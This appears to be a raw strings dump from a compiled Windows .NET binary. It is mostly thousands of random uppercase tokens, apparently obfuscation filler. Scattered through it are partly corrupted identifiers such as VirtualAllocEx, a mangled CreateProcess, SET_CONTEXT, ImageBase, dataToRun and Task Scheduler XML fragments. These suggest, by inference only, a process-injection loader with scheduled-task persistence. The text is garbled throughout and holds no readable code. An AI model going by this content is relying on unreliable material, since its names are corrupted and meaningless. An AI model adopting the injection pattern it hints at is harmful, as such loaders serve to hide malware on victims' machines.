GKPLPAMDR
LqH&t;,D
MTXKQOQVG
GNUPXBXUH
op_Explicit
BJQDGTOPKSWS
VMVKTEMWP
WKWWIGCXGO
NHOON
~l;+
QANLTRWQY
CTDBQHRT
QAXMUE
kTe_qnQ
UGKUA
IFOQQFHZLIKP
WJ-r
HLQBUTORPQMT
FWTHSHRD
PP1PP2
EFGHGZIJI
CTATEKXBHG
KBDRSWLDXOSI
GSNTINPNCZVH
MZEVEKIPD
PNNPPGYZAM
^[_^
CZLOAUCNSF
BQWOE@VWG
NMTYA
R@YEJ[IRF
DJVNTPZXKLFZ
TMWNZMQOVHW
GTSMHVPEW
DZYBAJUQOI
VirtualAllocEx
XQAWBJHLKPE
UYCVVRUQNVF
IXPDFHJDM
TUHVTPMIX
VSSVNCAS
BYRHOLVSPEJ
FSCYOPVIO
RISTOZNEI
PTSV
MDUBCVGTDK
URBNINEOMO
NBABMP
IVCCCKXCA
PHHDGOTRNUY
UDAWDSAYDM
QJUPHIJCTPWO
VKDVYVQCPY
RIGTGJB
yKp#
~%1tM
get_CurrentDomain
PBPLZSCJJDBL
APIMDLJIMEC
JYUPLJUBDVJO
9p t
NPGZL
BRZHCUBPMRCC
|!eg
GMIHT
UF'!YK-
*- )
CXWUKU
HDVTWTT
IXKANSRBAXI
= bK
AUBAORZLY
OOHMQEFQN
LNQKMMD]XS@
VRVRK
WDOZOZXIMVGZ
RCRESSQEUIZ
VPJRUUOX
QWRR
<1@UMZu
LDHSZLXEJXP
JIIWNIKQ@UG
D_AJZK
TYOGHJ
MNFTQ@RGKUTQ
ZFUVSMOKIE
CSWRL
DShP
CIJNVZKGZCO
YQBZKNQSHDBX
Q xMT
HKWROMLTETYV
#Blob
DFYGSHGSDJ
WVAPQDYGSG
XTVFRJIR
OMJTGJAMAQJ
NKVHRFEOUAO
VQMLC
NRHJL
RHEBKDLRL
OUKS
PZNGDLGSJ
H9\e@
g T9q
CPEWDDDIFXNX
JAIWIZBIUWU@
\[QEE^D
8Nu
HNQBCKL
QmxeOfEtsaoAommit
EEHHXGJSRO
A[VVH
SCKPCLFPBJY@
KMAGW_VAPC_DIRECTORY
GAYICHWPDTH
HHDTGZMYL
IMYYHHGLC
YVLFEWVEQEWH
VI,zU
RXSSWPCPEUUP
uD9p
CXDFXKPPJY
YALHQZYG
QMLWTUVO
OVCIC
SRRBUB
#jSa
CNOPENHAAC
C 8v
UDRVZNLK
GLJNVZGZSOR
d0&%
CCTBTXYDTGST
BDUEJZPY
g|
DNUKTHLBOR
POLNSUCZ
CCMCGJGEQAM
Tj#j
BBFZFKRPXPO
CKRHIBAMGXOM
AreateProcess
ULGZCT
MVVA[TPZ
ZOUXGQHWVPL
PRONAJMBVXFP
TM[VE
AXXSCTOGLZV
JGZIRNFVJKY
VKL[MSGHOUJC
MFCLVAVRGN
TOLNWTDJMDZK
TCAFGMUWD
ITOQDWS
DEmulation
EMHEDP
W&b6
R[ZMPI
HWQSJWJSAETR
VKAATXI
ABOHCL
j.VW
DDWJVPNZHPUP
^m'f
J Xv
5@M+?
y jqW
" <IdleSettings>
DGTQTQPMYWRG
EMTGNJZUJ
eav_FileName
CECWTDRJP
DQ[U@RBAGS
IGNYE
EIYQGKMCNCW
QRPW
QRPV
U@*
QRPS
DialogResult
K\BX
ueFi
L/]
UCWVSVJH
e_sp
e_ss
QVKKMOHIZM
RRNVMTGBNA
IZFVZJKFFZAE
DOYEAJE
HVKJYHAXW
NHHDKWPROVQP
xh9T
KBDKCTYXXLP
IIAOKDW
OXHCZHXXUXKR
EELHVKBHJJSR
}9up
COWIZ
ZSMXJL
LBCDHTE
XSBRYIAVKLTD
ea)+
EFNHNAMZY
SSLRJYLUQ
DFGXRXUOY
HCXBBRXKTSIO
lSystem.Vacoqpces(VqskwrceReader, mscorl{`: Rgrsiml-2*2.0.0, Culture=neurtul("PubjkqKa{Token=b77a5c561932a"8=!Sys`g}.Vgsources.RuntimeReamgrggSet
ote]r
RegisterArea
SKYCOMA
RWKWFSHQXBIY
TRCIRWHMITCO
TR@C[HBWM
ETYGTMWWCCPO
d#>/
IHNYB
GEEAAUJWKZ
KILDP
^;.66W
WULQUUCJZEY
KORMVLUGVWIU
YEPYHJB
PZROZTGS
OMNVAEVEH
BMBOOAO
SBKNCJTW[
HSIOWEXQFO
(:u][FisplayClass27_0
ksDofLwv
OQUJRVFD_
SSMXDCAQPE
OICu&
SQVDRMKBUZ
HWNOPXQFM@DV
Uu )
GKEUEPZMDCIY
ygjL
KAWMZNRC
DACYOQEJH
>ep)
AOSZSYIX@FOL
LJNLAMKPORLG
NAZBZ
OFGEL\FW@IL
oamavm
CMYEIVZMIXT
>ba
AYNVUUATM
Sjkf
NRCYHTMYK
DhCW
EOWIMM
WWYYEQKUSZK
KPIHEIQ
RXSJNYJCIRS
ZQBEXLBW
GNFLTJHLPFPO
JJPFZV
KIWNI
DYAAMBQY
ZBVQAURNVAUW
ZPTGZCIWHAYY
CVVYKDBJOF
Asx2
6Yg~)
Syqbgi,Resources
UKMRLGJRJV
@INJPPV[Q[E
ImageBase
tYj@
OSDFA\IACTEJ
mr{Y
Q"9RT
PGLBU
YWRCN@TCSIU
h`w
DSFIOEZVTH
AZMFHVQ
YGASPCOD
VCEPNVMDT
NNVTOUMIEAXV
XCEKEUKQ
BMMAIM
GIBSCGAPB
SP@T
EJLMFNEXMGE
Eativator
UUBDUHCAGJ
R6(%&
Ru|vyoaAompatibilityAttribqfg
QDGLOPPMTXJF
ROGOKRBQD
CPGQDTGX
DQDKAVAJGNBQ
jXhcV
M: 9F77
EAAKLTOKLOC
PJANV
AUWGFGWNNPNI
IXLOWBM
J\@AMXICVVOC
UMZRVROKIJA
HWFFSNGDYQ
Process
ZWBYAZREOT
ANFHUUXLWO
SFJRSZHG
BFNBYGJQFFFJ
YNUASQZCKH
EetCurrent
GFGSFJIZVQ
FJKXRCWDNX
QZ[IHCLCG
Qigncvepa
[$vx
(?aH
no F:e
#UQ]D
JLNKCXGRIZ
VLDAFMSQQAAK
QHECLZDV
x RU
VPIWJZPMYQ
WZHIPYWDGX
IDXGRYAVQL
QuYhgt
LFGGOABAEMMS
KLSOTJZVDT
WGOXNJJSCCYT
BZAQA
ASHTVHFAY
QMPEQSURNR
SVELCYH
+{Z=
WrapNonExceptionThrows
OAJCBKDIV
TVRYBQ
VJ*yXL-
>W_y
YWRBWD
TZYQCVMR
XABAPRWNDTWK
OEVTTR
WSFYABTIKA
QYGRCKSV
BOSES
BIHCB
XOFNTJPNR
XMBIIHEL^RFY
pRU3
ZRWMJKZXX
TLXOSTJREX
BHPPU\TKOUC
*sRC
PjVU
1jT
GXZVSHEDGGIY
4 Zl
GADGHUVWHWQ
Z`6[
TCHBDILRGEI
QDUDSBGRDASR
NJVNJQCGWHV
XSUXNJQ
VXUHRPKFBAVJ
CNUAIRY
TI*IXL-
_[^_
HTHSEJA]G
JTQHPQHJU
TSJVSLZSE
* *
[ x U
VHYEA
)QCF
PMFXDWIXQ
^_nb
MXPJGVVKFSB
LWPAIPRUM
GDJLJVMHQMVG
LHMHLYAFCQGR
GWXFF
WejgratedCodeAttributq
J{Sm
BJJFPVKEFQ
CPs
OUYCYW
FUA]T@DQJ
FUFUVT_K]
UHTNXNXDXCCD
JYEZXKEGS
COGXZWN
EEZBDCU
hn|\=
System.Security.Permissions
OQBCZTDRFBEA
Pj#V
RSDS
^pzl<
ZLOGIVPDVST
UAGMRQYQHKY
PTEHVBU
VHFONWOOEM
`=Rjts
n' H
SEVIMPWSVN
u ^_
VMQYSH
IWSJVWEVF
UTLSJJWR
:Xh.m
VZIEOZKL
VQHYBIUKVY
BOVGKESFTTX
OKUYHWCKPAI
RJSFPCKCGG
LIKCTPFWGWX
J Vj
GSZCPAVDRN
OBJZSHVP
>q^=
Erti`Qanectit
^hSW
VVOKJYEGEUA
WVOALQY
XWCLCILLV_H
ehldX
checkrue
ANWXSCRJNNKQ
GKVYGTVHQEHC
HNL@UPI^V
HPBXYSAI
Vd1;"x=
KFKRTDKMUC
DXRGPWN
FEOLKWTTMR
N]KPGPQESJHW
DUBNQURIS
TEDQHUFD@KER
HSRPPHG
EVBGGGA
FMWKZTWE
Tj!j
QQRGYT
NCUUZFLUFA
WGUKNEGAYSZQ
LQGXBK
ENGBQZDPRAST
OYIDTVKBDFJB
ZEUGAELVDNV
QQNDFZG
DN8\7o
UWMOACJL
LEQWLDGQ
COYRXX
IJYULPHUK
Qn j
ERYGZZAOB
YQLMBGSBEWMM
"<^O<
PLTHUH
so
LEOUNDFI
QODKDEHJFHDT
String
JLNTFQABSXJL
CAMWNN
XIDKZKZXY
s TS
XOJKRTQXROKJ
e_magic
JWKFPIXKJY
M Rz
twfVgsourceBuilder
YZEDDUPODSO
t}Knfo`kuvmmn
8Q( 7
WDWMLS
IYBRFAFOAUE
_J-0
SWLHKAAWEST
u/j?
DCIIPBEXO
KVKYZWNN
NEKAWQDNFAVW
WHDCUMGC
PUFRZCEC
KTSFGC
JZYSWRFL
ZVMPFZWEGDV
Cheuk@wjling
%\ru
SDGBRBWRXVGG
\lsg
JVCNINQHQCDQ
e3P6
NKVCAJFBZ
FHSPR
ZKFRJDGYZBVD
UNBUQZYWV
XJYABRCCU
ZYMDRJEOMRJ
UYLKQZJVJ
WEOTLJBAPEFK
FBWUT
'5a$6J\
T_ICYETYQZ[@
MTDLNGUBID
CRGDNCQYEB
fY;u{pXt{pXt{pXttkPpUD"
WNDLUWQFEAK
RQYSFBTITO
IOXBRNOMPX
XSHKAYBIG
XIZSHOZYFS
UXALBHJ
:f|4T
"-\n
LLDEIZUBIHFH
KZVOUU
LXPEONOKC
VG@ZCUT\VPO
HFPNGFOSKPBZ
WK-UYL.
IYYHUSIUVFXA
TFBAJJQS
S(Dj h\jiV
SZMAYGPVJCT
p5,5=
JNCMTUV
]PUHRCG
UTRXXILLPGT
ZLJXEOHUU
r0.0.!6!03
hmbw
JFGHIWBMXFJK
]Meb
0503
KPUBDLJQY
_[#g
KKDKCLTX
KYCDOZBXMUHD
VHSJISNHDBMJ
HBZKGIPBKV
TEKZAJ
KPWVDZ
YAZKOBUZV
MNOR
OPI@TSCUXLK
UUCRKRFAUXTN
V@NCS^RZKLTS
RHFZSMTUQS
QWFAXLJ
NWDNSOE
YYEBNHMFS
MODHEBKQYGT
q&9[
Get_kpuhgHandle
CRAGTLVQCM
JWFBM
TXXGC
BXIHUIF
mu! k
IVWARUIS
M n@~
CXPPKQOA
NRFCZIAJMM
get_ProccuaLeoe
FICYOCZQAB
Ii !
YNPLRVZINDMW
VGNVVP
XI,WYL.
OUURNDOUM
POHBWPKYPNQ
DDRHIJZORRIV
GHYIFKOI^L
RONGM
XHBMHSIHRV
Sysfg
FZTGW
System.Text:VweqnarExpressions
EZLKVTRJEI
YVAPDRKEV
AWGHIGCKMEZ
BJMVSO
rZ@^
YYUXENSQ
YTSTLRBAZGE
$ 3E`
RGKTNAXHYVJ
u 9d
@OPPOEE
CZRFXDKIP
RAXSJSVYC
UGZZRBTO
JRDXGIRCPBXF
CEMRESV
FRRAW
BZDLGOPITESI
IGANZQJQKQ
C x$
IEEDTSO
HM_L\IJ
DIRKRYMVQDIM
MajorOperatiluS}qtemVe`qmmn
ZQUGFHPYPMP
FRJXJMXZN
LMXIHEBVHTML
PCZZXA
ULUZY
_PPFNUZA^T
KHBJPVFAUGNV
YZYUANQRTNI
BZKLC
FCPJT_JADQG
HQYSMFAPZEJJ
ZTQWTSPUX
COYPKNXYKZ
P&JM
DWJQQAC
JKLRGHZOFVHD
E u?
KLYLSWJJBQQ
WCIACTGLDHYU
QFSWWG
Gene`mwCgg
JIOXKMXOXJZT
RDBQ
VEHDSCZ
ZWGHPHKAGX
vd|z
LIBLOBB
KZSWOXU
JZSWFI]F\VEH
@bpE
UFJVVKZC
Roye@cteSfg{p
AssemblyTitleAttribute
MSEEMSYVGV
PWTWj?
*vext
RLJWLOASPAD_
CARETPCSMW
BIYJRJLI
RLGUYSKPLFN
WDEAGLHHAH
XNXVUVZHFRCV
SSXKFTUCGM
KILGGWJ
HZDIXDHKNVL
XFQPR
WB h
pvmcNa
WRJUPCPTYSSO
"PA$'
j VW
IJLZNETZ
PTZZLCFXOAG
q1-)
E@95
IAYXVPOKJOVD
maimunka
LGNHEZUDJABF
g~i~gdDara
QGJCR
EEUMWUGIAJZV
SJKCMZZ
EYKLJXLGVT
MXUZYQPGPGF
]ZQGRVWWNORR
UKLTAELOKKBV
QMWIELCSAURG
VGEVDKPI
ZOJRMMPUAN
YHLHZNYMPOZE
AJLQXO\KSNYJ
;K_*
HBKRSCVOS
MANWNMHPQ\U
GGWPENJLXXBS
v_jIQ
PFWGNAUWHVSL
WQAMLNWLAW
PKNLZBOJPLI
ZCSOODDCWIOA
;z <'
(7Au4
oeN
WDPHXNBBYVGL
COZMJ
HHSTYYG
(i k
YCAVDNJTSVLO
f fr
D7U8
EEAKUBLAO
WEDTSLPLTYSK
OZRQFBZQOOKC
YVQFUKOCUJVM
",e\
VTBUI
TGCQHEBKGOLZ
YSPSPAAFGABC
HUHOADGHOD
XOB\U
JRHEGXFF
JLSYHEUJX
\RMCCHGG
JJDLDDOP
IVNSDCOZTKN
VFQPHPRIDZAA
XTME^
UPXUSKISFVP
E _3
YLBNBAJBNNEQ
L}Hz3FG~
get_Location
Tj'j
WQQSNTPZKK
DNRMOHLPWZJX
YLBDTLGWP
EXJ^@IPRHVHK
JWASCHKBO
CBWSKLBM
TAUWLANMMKB
Z]QL@ZFZM
FJNESMKUASC
XKDDPMAHS
HRPNLKTP
MJCYBD
5cE+
NEGXDNEGDL
VMZQETJN
K]SXRJZJMGXY
YIWBJTUYTF
&*Gf
FWSTJFBLCBPN
VNRLNHVTWMXH
CDFARHSGWL
DKXLPAGXV
OHIGJGBT
PH( VI+eXL-
] 9X
FEGNUXBXKOE
RYUKICNTNEA
TNZXDPZVEPRG
^CTJJWEWO\
2x d
% 3&)
rHB'
;H u
ZDHDFIJJAFY
VDNWFBJOCTAM
ORUDKAAPWNQU
ZXDSBOVJQ
VKGBWQB
EQRMEIPQMOSS
^DCE[QBLZ
SIPNIOPHOP
|(n
SZOYJBESRCOA
DDINEOPF
FKXEVEGBTSO
RJYRGEZJE
IYIGS
KDVJMNECRNUY
PMXQY
8/+=
PJOPWQMEBN
JKUXZNTKAFK
lpContext
LQJWTA
WANACPGHLTH
XPOIJHCURVS
CREVC
N*WR
LXODHCFSUBA
FCZDNF
DMJGFBMBLEX
V A;M
JZLWAXVIDWSF
LRSGXSSOFMH
RDIWUU
b?dMd">
f9L7
WULLZY
YTAKR
k<>NF
FUANDOIDKCTW
IERUZUAXYEB
SXHMDELBKB
OZKKVYFTEKUU
INFMXTTEPKW
>Ar5<zw1<Zr
{^J8
ctcUr.:-
FB]Ov
HBZEBLKE
EZGJU
ZNBRF
RRYWYARDJVWS
IOHTDOTL
RVFEQW
LXOMJLDSUYCU
CKFJALABIZSM
HWDLA\LWLP@
GEASL\RECGP
AGDAVNPVGQFL
gt`v
l->U
XVMVXJFCNWVL
UMEOTQVYQDLA
KHWZHICRV
REVKEJYPGWJT
PVVTUFTCZQYW
YUCTEJCJRER
SRS
UINQTFWJQ
OKGTQLFC
PURQHDCCOKHW
RH+5UU
RMZFY
VEh&
l0y vq&
MZYIAKVDQM
Rmob
URQF]RTEUHQ
.o
WWXEQWK
*f_)
grgz|cpcguz8b~l
EOQHCBNFRF
FBYBAWLYV
GGJMICT
=ucV
JDIZEJT
ODIBX
Vj4j
MGUVCRB
*DYm
OKIUMLLRX
-`)U*0
=wy~
0._*]
ITHBGIE
ANEHNVVCLZJA
GetProcesses
SJ,4
XGKAAXIKQCH
RUBVJSQRD
XK.NYL.
UB^QECG@
NFZCMACFSLDX
QSJWRGFWNR
uu**#g
KCKGBKOQCCED
UNOOAWFW
WRR
Kj l
QQRUI
GRUBDYQXFB
TYVJWA
IGOLJDBUBWBZ
param
TQWSLFHAGUPW
SOOPB
OXCEWAK
UPHXGUBTDEIN
RNAEGWZBFBI
OJIDWIOCINJI
ONWRFQYSI
YTJYHKM
BQOXSIGNZ
ITSWWV
FOSVIGHLI
WBCVZBIPCT
IFVZZNJCLS
<MwQa
CUIIBU
WDAMUN
DKKQDIO
YWECJJCZ
XOGCANFIA
STCOUJK
WPOCSRM
RMEZSU
JXSIATQ_J@
EZXILKPYL
VOPNCUZZRJCR
>0PE
XNAHPFFRYZ
critical
HURRJVA
CLUW^GPAGI
LEIIJGDFEZZC
MJTKTSGOJXOP
DA_^GMQPFRYE
;%hQB
N)f#bm{
AJSIHAYV
PXCFITBEYQP
WMQSFGKH
AIZYWLQLVV
WP\XDBNB
KMLVAFFND
A^MYPXCV\L\D
ATUKRYGMA
L+'[m
OVUQYEJV
LCNXHOUGHOYC
EXEDMOCMO
AssemblyCopyrightAttribute
NIHNRCUCKOZ
LNNRT[NFRCS
e=DiE
LNFUHYANWE
MZYCAN
CNTZIIFXECHX
AIPBLK
VjFj
LRYVUFBXOET
AceCuqlmdier
T^XTAO
m><l
SSGTOMCT^
dataToRun
OZFIRNXM
IFUFGWIWZDHE
LZITBMQX
KCHBCEKKBT
PVPUSNZJLBZ
BF+
ZWRFFRWXNL
TUF\ZNM
TGZBPLLBQTCC
RDNXTQUSKW
VMIIUNC
WFX
WRUXRG
QOVMINIIQX]
GQDVT]XBF
PCMZUZDWTHMB
YQAUWWRH
_c~A
PXUVEINFLFLK
YPNTNIPWQHUQ
MethodInfo
UWQMR@
TYE\GIYAO
AXIYWSOTNOP
(DFLGu j
DQC
SRYLAVEPPEYN
WV\UKIJWUH
QN>o 8
TANIEBJWXXU
PYHYINTTCKZD
QSETYXULO
VXGCMEVFQ
BFMFHVIEU
NDIRYKXKZOKC
RL '9Nt
YZRBCBKHGNL
TRSKRTTEJ
JFIAUBPTMUKI
Jt~`
PYTHYQQLHWJA
MJHLCVLHSZ
HFDJFBIC
TZSIZJD
DIOSFKZVHYTS
LFDXUXN
AQVIYJDKEFL
XVJURBBWMV
VK+A
JLXDJRCSRZQG
Us
WUFNYCUHS
IMQHPJLQ
IBNWTLHOBOJ
=ElF
PPUU
LHWDFOOI
XPXKSAYZ
BHTWUUKMQ
UR
YPYCFNG
CreateSu`Ow{
MVJMZUUMOCGD
KHCUQXGUBPQV
KDDTGQMVVS
UNZIWBKD
FFOHGBWES
WELTKELMEA
YRANKGULTO
tI
BKHXASRUITR
TYVJL
$*:o
SUER][]NBMRMATION
QWMGWEMZIE
GOSBECZ
SGCOVORCZMO
VH+|XK-
TFMAWFIXFOVF
FVSOTZLK
QQAFSJPQG
AssemblyFileVe`w
CEHUA
Tf9]
EiIJ
ZHBGTBSLNQZN
DIRECT_IMRGBQKLATI]N
QLFZHQ@QPJRL
CBVDXPTNV]N
THAMOEEC
PFTPUBXCZQC
@ADQVLGYKFH
SJXATTTFKEA
Tj%j
KT@YFLRTA
HBMLMPWETMA
System.Reflection
LPBFRZRHQU
KKPQCJGUPC
CHNHAN
KEWWURLDKUYZ
5sJ@
C CRT
RDKMNWLXKVC
UYUAAEHSUSPB
JWHQYHHPGBRC
BBSUS
"p44
OOMBXSLGAQC
GNITTGQWL
nkaation
JKUARVVZDRJC
KNLYU
WI*a@@
VFKRGS
KKVP[
CA@VP\QRKNL
Securid{BevoissionAttribute
ZHBFZNVJO
GISBUKJWL
FHMWJQJOAI
Object
WTUIVZTUU
PWRPNOXBUD
NYRSFCEVMNOZ
TXNQHYL
uiy@rC%u
WFPM[ATTWAWD
OEJDBPHZ
RNFSW
ZZZQUVEYD
IWGREEDU
q4\[
KKJFTN
UQVTNXVIJHL]
DBIRKOGZCNJZ
OZBSSRZTKSC
DRPGLPIZEBIC
Rj|S
roshav
RPCIBPDSRFNS
JIKKOIRSWNG
X -W@R
NEOMYWG
SDWDFPXAWGGR
LXHCQDVTOLGB
YTIRULHES
CKITGOGBYFRI
@AIH
PWRPWEUSCNZV
PLIQXQSCOSSB
LF[MAJC\DQO
npBaseAddress
ZVVNKUCDY
SVGEPWJEPJND
IBFZYIMUAFQ
VVQNYVLL
ZRXGWCGPHOL
GVEEJCUFLT
KGKOCZYJ
N@[KBJDNNNGL
;`+aHO
MAQBLENKBWQ]
PYJCYRHG
WDBOIFBFIO
HKLWPTVKWT
?TMFv
CZZOENPGLZ
IMZKIJXKOGCC
%FBC
[p
SJAOFLZACEC
WFZBSB^
EOZETNDT
DFhPS
GGDQLINELWLW
jcjjV
xt-a
MOGNPLOF
`qdFpowser
ZJSEVPDHI
ZBIZFLSBRVG
MOZSDHJTZTD
KOMCTEKPUWM
LTCZNCMMBTCO
.6@
BTXVQBAYWSRJ
PWEERDYO]
RMZFDCNTVBTC
TQPNK
ADJGMHKTZXV
% WT
QCWHLGLHP
UMLJHM
CUZQIZHNCRZF
MZKTACG
TWWQRLVF
HN^_QCHDTUY
EQGDDASCX
WEKGDNYPZEW
CRGEDDPRGL
>CgaessWo|tvml
PHDHWGOMCL
WA t
T9a y-
Vj6j
ABMVJSKBXUQ
EDPFKFQAW
7[\g
MTOGOGTAAP
JDGHDQAJLHCC
CZHHQWL
JIGUIEUPAUDZ
OHMEDVCFZDYS
S,AT
KNKFVYK@
GSXAJFGKY
F4PV
KXGJZ
JACUHYL
Disj
YYCHBQYXAWB
JBLDYZGK
ELBBJ@PMDKIS
HUQPOIXLB
INMLJANEUKU
KTCMKFXMVPM
IBIPRAXTA
ADDMUXDNTKWA
/Vyd
K^NNCTDU
`4&k
KPJIJSD
CQUYWBEBBPJ
AGOOSMDLAY
GEJUBB[OVI
ZVGZFB
VNPDZVI
a(gk_
u 9p
RHSPMIRVI
YQFP@RAGLFG
YCBOIAFDK
TDKFOVPV
VYBBK
LVEEVGBVVFPY
XMXKSXUL
SOURNWLCHHAX
UDUCCPAQU
ANGVVFPY
SUEEF
LHXMCQTDPSD
BWXTDFLMNPPQ
LVYJSPWYVAWW
OLHSDMX
NJHXTDQ
#WX=
PXSQU
Q@ITZ@PCK
Dmmlt
BTHMRFPE
PXYPHCDAHJCB
SBRJSCKG
CSJYLWA
FXLJQRYFVYK
%y)+
KYPLZAUGWYG
a?R43
LWCLMOCNXC
ZVNKGUUZV
LPXOGSGLER
BXPUYPIMGIIU
q juV
KMESRPGQM
ADW[ZSPPAIZY
Sma
LULHMT
ECXVWHL
TWj?P
VHHWCQLVXMMR
IWYUXZIS
WWIGJNBVLCE
ZCXYNNLLQM
IWODLPYT
TYUTGALLRF
FMGSDJ
AKWMNZTS
SJPCJVPWDV
SGQCD
JWWYMELUW
CFZPJIORZHQW
QFUJDEDOSPKD
NKJQXMRH
ORJPIQARGODU
UETQTJSJHFPL
JDDWK
w] }
VLSQAJYRH
'G>W
PH( VF)>UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UI-?UH-9UD"
FPQQSKBN
RIWUPFCFROWA
{P`4
tOU{
\DNNAFFYY
UKXVUXZM
@uTm
`_0(!
OCXXQUJPUTW
JPQNFHQXHLG
XK,tUD"
JTSDMXNKLVOB
HNMCQUONJL
@VQW
flNwsDrkvect
zbPw
MSERDHTLLUIV
CRAXQG
N Rn
YMIVZTCJIUJD
DYLBW
KJJUSADBK
mg.k
8~`d
VNPEYCW
s mg
PCDAT
FQRFKYXBTWYT
uhGz
DJ>Y
NumberOfSyif
M Qj
KKNTXGMHRQFQ
HSKCEBAUAUI
NVQLH
e# ||
CRDZKDURK
OSUAXMNXUBKI
AJRUGMNAY@
LKVQXF
XQFRNLQYRUTI
CANPZPTOJXQW
BNWQTRJQMFDR
Iu ^7
JGOGPOE
CRSVCJFHXYD
WGUZPLZXOD
1,]$*
EYQQTIRPBMPT
JQKRAUAKYWFH
WMKHAM
G(Bl
;m.0@2
XUMAS
IJGUWOWJ
KPJCVXASTJR
TURIPWF\HQMS
HLWZOGU
<l\>
UKETDMQGHWQ
JPEPHETUDQ
BBSUNU
MKCTQPIJDOJA
IRZ]TJWBZMJO
ZHILNFSOAC
EWONXHLUOHX
JGLDYOXHR]O]
HJHXPL
VAOPRGQULCJL
ZMEVXOBQOC
YXLGANWCMO
YCHVSWIXI
VIAJQETFQANP
XQLPEWJLO
EINLM
SQCDMBQIWWEB
BPQHVAQURGZO
SSFWRBJYRC
JZDZCEVGZUFW
v5'/
FMBYQKRCGBBU
BUSLSYELHV
Wlhmc
GFGGSJ
MSOTQU
RPPh
WGYBXWBCBKKO
YZYWICILCPGQ
AJPHSDBSNUS
na~E
FODACEL
s%AV
NFJZLNY
"4Q`
OXLJBPQHTT
]^[]
XXIZJUTUCP
VLJZBAJKBMWQ
MUUFDW
F[n6
MVDXYQCUDB
ZITHT
HVYZWELJMQV
UI**
JACHKQQCGWBV
FDFMQCLGQN
JC[KAWRBUB
FEIBZKUBIF
Z][]
KVSPJMAVLSEQ
EMAMD
NVXNJUMUFGJ
Memfc`Kjdo
H 3X
Tj+j
l6UR
NLYHHQOI
M B;U
RXRYPZKTPZ
XJFWUUUSVF
KSJETKLXTCUI
BHECKIDPTYBH
EcdVaopPath
JOFBON
QETOATQ
NKEMOYQJTE
EQREU
CJPIBCXZVI
U PQR
HSOYTJ
NJBKFFWDKH
LKC#
QIZSXIBJA
QLWONPJM
ORKRI
flProvsap
TANLFOLEAL
MJNGLAJPSDAW
FLOFWOWTDMYZ
xajfle
EUJIYNDGDCV
XIG]SAXH
ABQRVIHPSPD
Digpkqe
gent
SVHKUHKCUBQ
KXBNBHDFAG
<C1=
CVGVNDDBRKGD
5zO@/
RSCJPIEQULFC
ZJAEIOOADX
bF#RYS
XPUFGBPGVSUU
RCRPNFRMTJ
OCOKQWFO
MSTWHNYSMFLF
DRZQHEIKNUYK
FUZNPNIACCHX
B[C^JQFFGASS
GDYXPNBIOF
APZESWYFQAP
BGATRM]KAYCM
M}F_hC
YLBHHPGGANOD
h&M4
PHM]ICQ\OPT
.Gmllewp
Copy
ZAGVQA
MJADQSD
CBDCXLHDD
AssemblyFileVersionAttribute
SNSBMPREA
nGkl
EHEZFSWQGP
@WMRERYWEH
MUSXTFL
System.Resources
UKCXCVVUS
UH*<QC
JVGFMNRGYM
DHXVIHOQSHKV
EHCKPOTRBLRC
["
j&VW
OPMCLWSRAPE
PFWJFMYSOFA
TAX]QGCT
IVIDDBZZ
BNTNMMWNORB
ZMTCACVIYGJB
KLTCUNRRBN
ESVCIKGJEHQT
AJINFAQDY
YCKSUSWAJYYW
GqtBrkaAddpccq
FWPCWUFRAKVB
sRDT
XYIVLIPADZU
HTDZBXZUWQIC
.Z
-t.f
GJLNATLTMPC
IIASF@JBOQTE
hProueaq
G ;B
UBMOFLDCKWT
LWYMXWKPE
USHAKHEV
TGOVSSKJZMVA
FBOCFZLPSVFV
.VEX
5r"eh
KPLKNNL
RFBTWXPMVX
DX[B@UGIFB
FSBOZ
DBVNQF
UNKKWASKP
s_vgs2
CYZOFFOZQQW
TEHZPJAXDE
MLFNR
-"u@
WYADBKHXCBZP
TZ]QI
TWWAICKBL_
GCKGBYL
ONCOHR
QERFIDLKSMZ
SKNAAAZF
IPBIRTT^CJRH
_-V8
WK*U}qM
F5es LX
"! c
EKYBMN.exeSICMAYO
"$" <UserId>[USERIR](/QqerIp8
ACHYQKEWF
AXUUAZEZWSNT
CVUUAJQKBZIB
GKILKJYIHLW
]}(_
HKSFTNVOLACY
NPYLWFTTL
YNBLQBVYDWPC
OYFAOORWEX
ZLJHTLITPM
CIZWW_GVW
+J w
AU\EXBLJRMK^
HERSZUAIQB
UCGPSMF
MXFOMZAGYO
SET_CONTEXT
ZVXPKH
OCNGPHB
RHYM]KTQP
SGSIQD
MIJTM
RTABHCZT
ECIFLJSWMFA
KIWTXVAAIW
OCZNK
IQBQJJAVOFRR
VNJUCGLXJG
O3<s
resourceMan
JDPAZEROSQY
FHTFUMTLPV
DPVCE
FJABKRR
BAEZMH
EMRMO
V6UD
OPVOQGPBV
HEUKCVK
QEMPNUGPDRYG
r6)4Z2
UIWJVAVLEOOA
QDEHKCGAEUIM
OEQBPMD
QCADZIIN
DPKBCJAMKABN
XI+}XK-
YPYXYCLNKKUK
DGNPGIXWSPAY
ZCPSVAY
*^@n
DRTWOUAMCAA
SBTFNKUIM
GPLKT
UEQAZO]LCP
y=ie
SkipVerification
EKYF_L*gxe
* "Wj
L_LFWKGTE
VMGDUTFTFGT
KZZETCXR
BEKLKDRJR
\SXSBIM
FCRXOTMCNW
WXYXTDRGD
@5Te
QZTOHLMPMQXR
CTLLCUOW
m`=eYH'.
JUCJCBPTLAFV
LMYBLMKHMDUY
LNPNDTTZMMX
IVEVCIEJFMLB
AkoVisibleAttribute
HEERLXN
[LKICIOFI
QQIJPKBOLNTC
WSREELHDKWF
GMMTOHC
LAEXKSUOR
QFOZDLPVAZDS
Virtge~C`fress
BAIFPO
QPFCR
MAOBCSTBISG
F ^O
poYa
EBYNTU
HLZSX_WP
UWYMIVQTFTXA
yrg
HTGAKZ
EDZBLAHVJKAP
) DMw
EHXLPDJGVSBN
UJKL\@QLY^
ZMFBYW
RQGXPKJEGN
SMVGVGIR
QIGTMKBRTV
4ryi
9,No
PKTQWHVLE
ZUDHSXOLD
SOXHW
GGNVSUPSY
PAIGWFXSTLY
